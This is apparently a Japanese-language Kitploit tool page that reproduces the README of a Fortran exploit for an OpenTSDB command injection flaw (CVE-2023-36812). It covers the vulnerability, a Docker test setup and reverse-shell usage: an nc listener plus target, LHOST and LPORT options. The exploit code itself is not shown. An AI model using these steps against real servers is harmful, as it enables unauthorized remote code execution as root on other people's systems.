Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHuberikwynter/opentsdb_key_cmd_injection

opentsdb_key_cmd_injection

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Fortranで記述されたOpenTSDB <= 2.4.1のコマンドインジェクション(CVE-2023-36812/CVE-2023-25826)に対するエクスプロイト

リポジトリを見る
712年前未レビュー

opentsdb_key_cmd_injection

OpenTSDB <= 2.4.1 のコマンドインジェクション脆弱性 (CVE-2023-36812/CVE-2023-25826) を悪用するエクスプロイトで、Fortran で記述されています。

概要

これは、OpenTSDB バージョン 2.4.1 以前のコマンドインジェクション脆弱性 (CVE-2023-36812/CVE-2023-25826) に対するエクスプロイトです。このエクスプロイトはモダン Fortran で書かれており、今年初めに作成された公式の Fortran http-client ライブラリ を活用しています。

脆弱性の詳細

OpenTSDB は Java で書かれたオープンソースの時系列データベースです。2020 年、バージョン 2.4.0 以前において、root 権限でホスト上でリモートコード実行を可能にするコマンドインジェクション脆弱性が発見されました。OpenTSDB は認証をサポートしていないため、CVE-2020-35476 として追跡されているこの脆弱性は、OpenTSDB の Web インターフェースにアクセスできるすべての人物によって悪用される可能性がありました。この問題はバージョン 2.4.1 で修正されました。

今年、CVE-2020-35476 の修正が不完全であることが判明し、OpenTSDB 2.4.1 では複数のベクトルを介して依然としてコマンドインジェクションが可能であることが明らかになりました。

詳細:

  • 追跡番号:CVE-2023-36812。なお、CVE-2023-25826 も実際には同じ脆弱性を記述しているように見え、両方の CVE がまったく同じ修正にリンクしています。
  • セキュリティ勧告:https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • クレジット:Oxeye の Gal Goldstein 氏と Daniel Abeles 氏
  • 修正:修正はまだ公式リリースされていない 2.4.2 で導入される予定です。執筆時点で最新の OpenTSDB リリース は 2.4.1 であるため、本番環境のほとんどの OpenTSDB インスタンスが脆弱である可能性があります。ただし、OpenTSDB FAQ はこのプロジェクトが「内部使用のみを目的として書かれた」ものであり、「セキュリティレビューを受けておらず、認証も含まれていない」ことを強調しています。

なぜ Fortran なのか?

簡単に言うと、この会話を見たからです: why

人類を月に送ったプログラミング言語 でエクスプロイトを書くというアイデアに非常に関心を持ち、自分で探求せずにはいられませんでした。このエクスプロイトはその実験の結果です。成功したかどうかという問いに対しては、すべての開発者を血で結ぶ賢明でありながら呪われた言葉で答えるしかありません。「自分のマシンでは動く」。¯\(ツ)/¯

とにかく、このプロジェクトから得た主な教訓は次のとおりです:

  • Fortran は実際にはかなりクールで、驚くほど習得が簡単です。
  • fpm パッケージマネージャを含むモダン Fortran エコシステムは、大きな将来性を示しています。
  • Fortran は強い型付け言語であり、厄介な実行時エラーがほとんど発生しなかったので、良い点だと感じました。
  • 依存関係のある Fortran プロジェクトは大規模になります。なぜなら fpm は依存関係のソースコードをプロジェクトに直接含めるからです。利点はシステムを汚染しないことです。
  • ライブラリのサポートは、モダンな言語と比較すると比較的限定的で混沌としています。残念ながらこれは http-client ライブラリだけに影響するわけではありません。
  • 予想通り、ほとんどのモダンなプログラミング言語と比べて、優れたドキュメントやトラブルシューティングのヒントを見つけるのが難しく、それでも StackOverflow や 2000 年代初頭の忘れ去られたフォーラムにはかなり有益な投稿がいくつかあります。
  • ChatGPT や GitHub Copilot のような AI ツールは、モダンな言語の場合よりもさらに信頼性の低いコーディングの相棒になります。

全体として、この言語が攻撃的セキュリティの分野で真の重要性を獲得するとは想像しがたいです。なぜなら、あらゆる使用例に対して優れたモダンな代替言語が数多く存在するからです(Python、Go、Rust、Ruby、C# などを挙げるだけでも十分です)。しかし、異なるプログラミング言語を試すのが好きで、文字列を常に trim() 呼び出しで囲むことを厭わないのであれば(これに注意してください。多大な苦痛から救われます)、Fortran は間違いなく試してみる価値があります。私は今、この言語を本気で応援しており、http-client ライブラリへのサポートが継続的に追加されるなら、特にいつか http-server ライブラリが追加された場合には、再び取り組むかもしれません。

要約:Fortran http-client lib が brr になります。

使用方法

  • システム上でリスナーを起動します(例):
root@kitploit:~
nc -nlvp 1337
  • 別のウィンドウで、opentsdb_key_cmd_injection ディレクトリに移動します
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • fpm を使ってプロジェクトを実行します(事前にインストールしてください。次のセクションのインストール手順を参照)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

オプション:

  • -t - TARGET URL:OpenTSDB のベース URL(必須)
  • -l - LHOST:リスナーを実行しているシステムの IP(必須)
  • -p - LPORT:リスナーポート(必須)
  • -v - VERBOSE:詳細出力を有効にする(オプション)

インストール

  • gfortran をインストールします。Debian ベースのシステムでは次のように行えます:
root@kitploit:~
apt install gfortran
  • fpm をインストールします。最も簡単な方法は、GitHub 上の fpm リリース から最新の安定版リリースのバイナリをダウンロードし、実行可能にすることです:
root@kitploit:~
chmod +x /<path>/to/fpm

fpm をインストールする前に、システムに git がインストールされていることを確認してください。

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

テスト用の OpenTSDB インスタンスのセットアップ

手動インストール(推奨しません)

手動インストールの場合は、こちらの公式インストール手順に従ってください。ただし、これは面倒な場合があるので、Docker を使用することをお勧めします。

Docker インストール(推奨)

バージョン 2.4.0 については、vulnhub Docker イメージを使用し、こちらのインストール手順に従ってください。そのイメージは、OpenTSDB 2.4.0 までの古い脆弱性 CVE-2020-35476 向けに作成されたものです。

バージョン 2.4.1 およびおそらく他のバージョンについては、vulhub の OpenTSDB 2.4.0 イメージを利用し、インストールするバージョンに合わせて編集することができます。私は 2.4.1 でこの方法を試し、うまくいきました。

  • まず、こちらから vulhub の OpenTSDB 2.4.0 の Dockerfile と docker-entrypoint.sh ファイルを取得し、専用のディレクトリに保存します。
  • Dockerfile 内の 2.4.0 のインスタンスをすべて目的のバージョン(例:2.4.1)に置き換えます。
  • docker-entrypoint.sh の編集は不要です。
  • 次の内容の docker-compose.yml ファイルを作成します:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

私は次のファイル構造を使用しました:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • 最後に、docker-compose.yml ファイルがあるディレクトリで次のコマンドを実行し、docker-compose でイメージをビルドして実行します:
root@kitploit:~
docker-compose up -d
  • 数秒後、OpenTSDB がポート 4242 で利用可能になります。追加の設定は不要です。

Fortran の簡単な歴史(せっかくなので)

Fortran は主に、現代のコンピューティングの歴史において重要な役割を果たした古風な言語として知られていますが、今日ではもはや重要ではないと考えられています。1957 年に初めてリリースされ、ARPANET や Unix よりも 10 年以上先行しています。この時系列データのビデオによると、1960 年代から 1970 年代にかけて支配的なプログラミング言語であり、1990 年代後半まで最も人気のある 10 の言語の 1 つであり続けました。しかし、Windows 98 がリリースされる頃までには、C、C++、Java、JavaScript などのより現代的な言語に取って代わられ、明らかに流行遅れになっていました。これらはすべて今日でも広く使われています。

レガシーシステムを保守する勇敢な人々を除けば、IT の多くの人々(ましてや私たちのバブル外の人々)が、この 20 年間で Fortran に出会ったことや、それがまだ存続していることさえ知っているとは思えません。それにもかかわらず、Fortran は活発に開発が続けられています。公式 Fortran ウェブサイトに記載されているように、この言語は最後に 2018 年に改訂され、今年(2023 年)に別の改訂が見られることを期待しています。実際、Fortran コミュニティはここ数年非常に活発で、エコシステムの近代化を支援するためにいくつかの主要プロジェクトをリリースしています。その中には次のようなものがあります:

  • stdlib:初の Fortran 標準ライブラリ(初回リリース:2021 年)
  • fpm:モダンなパッケージマネージャ兼ビルドシステム(初回アルファリリース:2020 年)
  • http-client:前述の HTTP クライアントライブラリ(初回リリース:2023 年)

このことから、メンテナは Fortran の復活を目指しているか、少なくとも言語がさらに数十年生き残るための戦いのチャンスを与えようとしているように見えます。最も熱心な Fortran ファンでも、言語が再び最も人気のあるプログラミング言語のトップ 10 に入るとはおそらく期待していませんが、言語とそのエコシステムの継続的な近代化により、Fortran は過去 10 年から 20 年よりも関連性が高まっている可能性があります。

ツールをダウンロード